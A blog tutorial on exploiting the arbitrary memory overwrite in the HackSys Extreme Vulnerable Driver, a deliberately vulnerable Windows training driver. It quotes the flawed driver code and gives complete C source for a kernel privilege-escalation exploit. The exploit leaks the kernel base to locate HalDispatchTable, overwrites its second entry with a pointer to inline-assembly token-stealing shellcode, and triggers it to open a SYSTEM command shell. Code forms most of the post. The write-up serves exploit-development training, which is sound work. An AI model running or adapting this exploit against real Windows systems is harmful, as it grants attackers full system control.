Windows Kernel Exploitation – Arbitrary Overwrite

Today I’m sharing what I learned on developing an exploit for the arbitrary overwrite vulnerability present in the HackSysExtreme Vulnerable Driver. This is also known as the “write-what-where” vulnerability. You can refer to my previous post on exploiting the stack overflow vulnerability and the analysis of the shellcode.

The Vulnerability

You can check the source from here

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
    PULONG What = NULL;
    PULONG Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserWriteWhatWhere,
                     sizeof(WRITE_WHAT_WHERE),
                     (ULONG)__alignof(WRITE_WHAT_WHERE));

        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;

        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
        // routine before performing the write operation
        ProbeForRead((PVOID)Where, sizeof(PULONG), (ULONG)__alignof(PULONG));
        ProbeForRead((PVOID)What, sizeof(PULONG), (ULONG)__alignof(PULONG));

        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");

        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Everything is well explained in the source code. Basically the ‘where’ and ‘what’ pointers are not validated whether they are located in userland. Due to this we can overwrite an arbitrary kernel address with an arbitrary value.

What arbitrary memory are we going to overwrite?

A good target would be one of the kernel’s dispatch tables. Kernel dispatch tables usually contain function pointers. Dispatch tables are used to add a level of indirection between two or more layers.

One would be the SSDT (System Service Descriptor Table) ‘nt!KiServiceTable’. This stores syscall addresses. When a userland process needs to call a kernel function this table is used to find the correct function call based on the syscall number placed in eax/rax register.

We need a good target which won’t be used by any other processes during our exploitation phase.

The other table would be the Hardware Abstraction Layer (HAL) dispatch table ‘nt!HalDispatchTable’. This table holds the address of HAL routines. This allows Windows to run on machines with different hardware without any changes.

We are going to overwrite the 2nd entry in the HalDispatchTable which is the ‘HaliQuerySystemInformation’ function.

Why are we going to overwrite the 2nd entry in the HalDispatchTable?

There is an undocumented function called ‘NtQueryIntervalProfile’ which obtains the profile interval that is currently set for a given profile source. This function internally calls the ‘KeQueryIntervalProfile’ function.

If we check the ‘KeQueryIntervalProfile’ function we can see that it calls the pointer stored at [HalDispatchTable + 4] which is the ‘HaliQuerySystemInformation’ function as previously shown. This is the 2nd entry in the HalDispatchTable.

We are going to overwrite this pointer with our token stealing shellcode in userland and once we call the ‘NtQueryIntervalProfile’ function we will end up running our shellcode in the kernel, thus escalating privileges to ‘nt authority/system’

NTSTATUS 
NtQueryIntervalProfile (
    KPROFILE_SOURCE ProfileSource, 
    ULONG *Interval);

To summarize everything here’s a diagram.

Testing the Vulnerability

I will be using the IOCTL code provided in the header of the driver.

#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

We can fill the buffer with 4 As and 4 Bs. The first 4 bytes will be the ‘what’ pointer and the second 4 bytes will be the ‘where’ pointer.

*what = “AAAA”
*where = “BBBB”

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <string.h>

#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

int _tmain(int argc, _TCHAR* argv[]) {
	HANDLE hDevice;
	DWORD lpBytesReturned;
	PVOID pMemoryAddress = NULL;
	PULONG lpInBuffer = NULL;
	LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";
	SIZE_T nInBufferSize = 0x8;
  
	hDevice = CreateFile(
		lpDeviceName,           
		GENERIC_READ | GENERIC_WRITE,                   
		FILE_SHARE_READ | FILE_SHARE_WRITE,             
		NULL,                                           
		OPEN_EXISTING,                                  
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,   
		NULL);                                        

	wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
	wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

	if (hDevice == INVALID_HANDLE_VALUE) {
		wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
		return 1;
	}

	lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

	if (!lpInBuffer) {
		wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
		return 1;
	}

	RtlFillMemory((PVOID)lpInBuffer, 0x4, 0x41);
	RtlFillMemory((PVOID)(lpInBuffer + 1), 0x4, 0x42);

	wprintf(L"[+] Sending IOCTL request\n");

	DeviceIoControl(
		hDevice,
		HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
		(LPVOID)lpInBuffer,
		(DWORD)nInBufferSize,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
	CloseHandle(hDevice);

	return 0;
}

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/ArbitraryOverwriteTest.cpp

Now what our skeleton exploit works fine, all we have to do is find the address of the HalDispatchTable + 0x4 and send it instead of 4 Bs as the ‘where’ pointer and our address to shellcode instead of 4 As as the ‘what’ pointer.

Locating the HalDispatchTable

To find the location of the HalDispatchTable in the kernel we will use the ‘NtQuerySystemInformation’ function. This function helps the userland processes to query the kernel for information on the OS and hardware states.

NTSTATUS WINAPI NtQuerySystemInformation(
  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  _Inout_   PVOID                    SystemInformation,
  _In_      ULONG                    SystemInformationLength,
  _Out_opt_ PULONG                   ReturnLength
);

Since this function has no import libraries we will have to use ‘GetModuleHandle’ and ‘GetProcAddress’ to dynamically load the ‘NtQuerySystemInformation’ function within the memory range of ‘ntdll.dll’.

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>

#define MAXIMUM_FILENAME_LENGTH 255 

typedef struct SYSTEM_MODULE {
	ULONG                Reserved1;
	ULONG                Reserved2;
	PVOID                ImageBaseAddress;
	ULONG                ImageSize;
	ULONG                Flags;
	WORD                 Id;
	WORD                 Rank;
	WORD                 w018;
	WORD                 NameOffset;
	BYTE                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
	ULONG                ModulesCount;
	SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemModuleInformation = 11,
	SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
	__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
	__inout PVOID SystemInformation,
	__in ULONG SystemInformationLength,
	__out_opt PULONG ReturnLength
	);


int _tmain(int argc, _TCHAR* argv[])
{
	ULONG len = 0;
	PSYSTEM_MODULE_INFORMATION pModuleInfo;

	HMODULE ntdll = GetModuleHandle(L"ntdll");
	PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
	if (query == NULL){
		wprintf(L"[!] GetModuleHandle Failed\n");
		return 1;
	}
	
	query(SystemModuleInformation, NULL, 0, &len);

	pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
	if (pModuleInfo == NULL){
		wprintf(L"[!] Failed to allocate memory\n");
		return 1;
	}
	query(SystemModuleInformation, pModuleInfo, len, &len);
	if (!len){
		wprintf(L"[!] Failed to retrieve system module information\n");
		return 1;
	}
	PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
	PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;

	kernelImage = strrchr(kernelImage, '\\') + 1;

	wprintf(L"[+] Kernel Image name %S\n", kernelImage);
	wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);

	HMODULE KernelHandle = LoadLibraryA(kernelImage);
	wprintf(L"[+] Kernel Handle %p\n", KernelHandle);
	PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
	wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);

	PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);

	wprintf(L"[~] HalDispatchTable Kernel %p\n", HalDispatchTable);

	return 0;
}
//EOF

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/FindHalDispatchTable.cpp

To bypass ASLR in the kernel we can perform simple arithmetic since we have the base addresses of the loaded modules. We can find any function’s virtual address.

We can verify the offset using the debugger and it’s correct.

Final Exploit

Now that we know the address of the HalDispatchTable we have to overwrite HalDispatchTable + 0x4 with our address to shellcode residing in userland and call the ‘NtQueryIntervalProfile’ function to trigger our shellcode.

 
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <string.h>
#include <Shlobj.h>

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
	__asm {
		pushad; Save registers state

			; Start of Token Stealing Stub
			xor eax, eax; Set ZERO
			mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
			; _KTHREAD is located at FS : [0x124]

			mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

			mov ecx, eax; Copy current process _EPROCESS structure

			mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			; End of Token Stealing Stub

			popad; Restore registers state
	}
}

#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

#define MAXIMUM_FILENAME_LENGTH 255 

typedef struct SYSTEM_MODULE {
	ULONG                Reserved1;
	ULONG                Reserved2;
	PVOID                ImageBaseAddress;
	ULONG                ImageSize;
	ULONG                Flags;
	WORD                 Id;
	WORD                 Rank;
	WORD                 w018;
	WORD                 NameOffset;
	BYTE                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
	ULONG                ModulesCount;
	SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemModuleInformation = 11,
	SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
	__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
	__inout PVOID SystemInformation,
	__in ULONG SystemInformationLength,
	__out_opt PULONG ReturnLength
	);

typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(
	IN ULONG ProfileSource,
	OUT PULONG Interval
	);


int _tmain(int argc, _TCHAR* argv[]) {
	HANDLE hDevice;
	DWORD lpBytesReturned;
	PVOID pMemoryAddress = NULL;
	PULONG lpInBuffer = NULL;
	LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";
	SIZE_T nInBufferSize = 0x8;
	PVOID EopPayload = &TokenStealingPayloadWin7;
	PSYSTEM_MODULE_INFORMATION pModuleInfo;
	STARTUPINFO si = { sizeof(STARTUPINFO) };
	PROCESS_INFORMATION pi;
	ULONG len = 0, interval =0;

	hDevice = CreateFile(
		lpDeviceName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
	wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

	if (hDevice == INVALID_HANDLE_VALUE) {
		wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
		return 1;
	}


	lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

	if (!lpInBuffer) {
		wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
		return 1;
	}

	HMODULE ntdll = GetModuleHandle(L"ntdll");
	PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
	if (query == NULL){
		wprintf(L"[!] GetModuleHandle Failed\n");
		return 1;
	}

	query(SystemModuleInformation, NULL, 0, &len);

	pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
	if (pModuleInfo == NULL){
		wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
		return 1;
	}
	query(SystemModuleInformation, pModuleInfo, len, &len);
	if (!len){
		wprintf(L"[!] Failed to retrieve system module information\n");
		return 1;
	}
	PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
	PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;

	kernelImage = strrchr(kernelImage, '\\') + 1;

	wprintf(L"[+] Kernel Image name %S\n", kernelImage);
	wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);

	HMODULE KernelHandle = LoadLibraryA(kernelImage);
	wprintf(L"[+] Kernel Handle %p\n", KernelHandle);
	PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
	wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);

	PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);

	wprintf(L"[~] HalDispatchTable Kernel %p\n\n", HalDispatchTable);

	wprintf(L"[~] Address to Shellcode %p\n", (DWORD)&EopPayload);

	*lpInBuffer = (DWORD)&EopPayload;
	*(lpInBuffer + 1) = (DWORD)((ULONG)HalDispatchTable + sizeof(PVOID));

	DeviceIoControl(
		hDevice,
		HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
		(LPVOID)lpInBuffer,
		(DWORD)nInBufferSize,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(ntdll, "NtQueryIntervalProfile");

	if (!NtQueryIntervalProfile) {
		wprintf(L"[!] Failed to Resolve NtQueryIntervalProfile. \n");
		return 1;
	}

	wprintf(L"[!] Triggering Shellcode");


	NtQueryIntervalProfile(0xabcd, &interval);

	ZeroMemory(&si, sizeof si);
	si.cb = sizeof si;
	ZeroMemory(&pi, sizeof pi);

	IsUserAnAdmin() ?

	CreateProcess(
		L"C:\\Windows\\System32\\cmd.exe",
		L"/T:17",
		NULL,
		NULL,
		0,
		CREATE_NEW_CONSOLE,
		NULL,
		NULL,
		(STARTUPINFO *)&si,
		(PROCESS_INFORMATION *)&pi) :

	wprintf(L"[!] Exploit Failed!");

	HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);

	CloseHandle(hDevice);

	return 0;
}
//EOF

You can check the second entry in the HalDispatchTable and you can see it’s overwritten by our pointer to shellcode.

If we check this address it’s the pointer to our shellcode.

W00t! Here’s our root shell 😎

Advertisements

3 thoughts on “Windows Kernel Exploitation – Arbitrary Overwrite

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s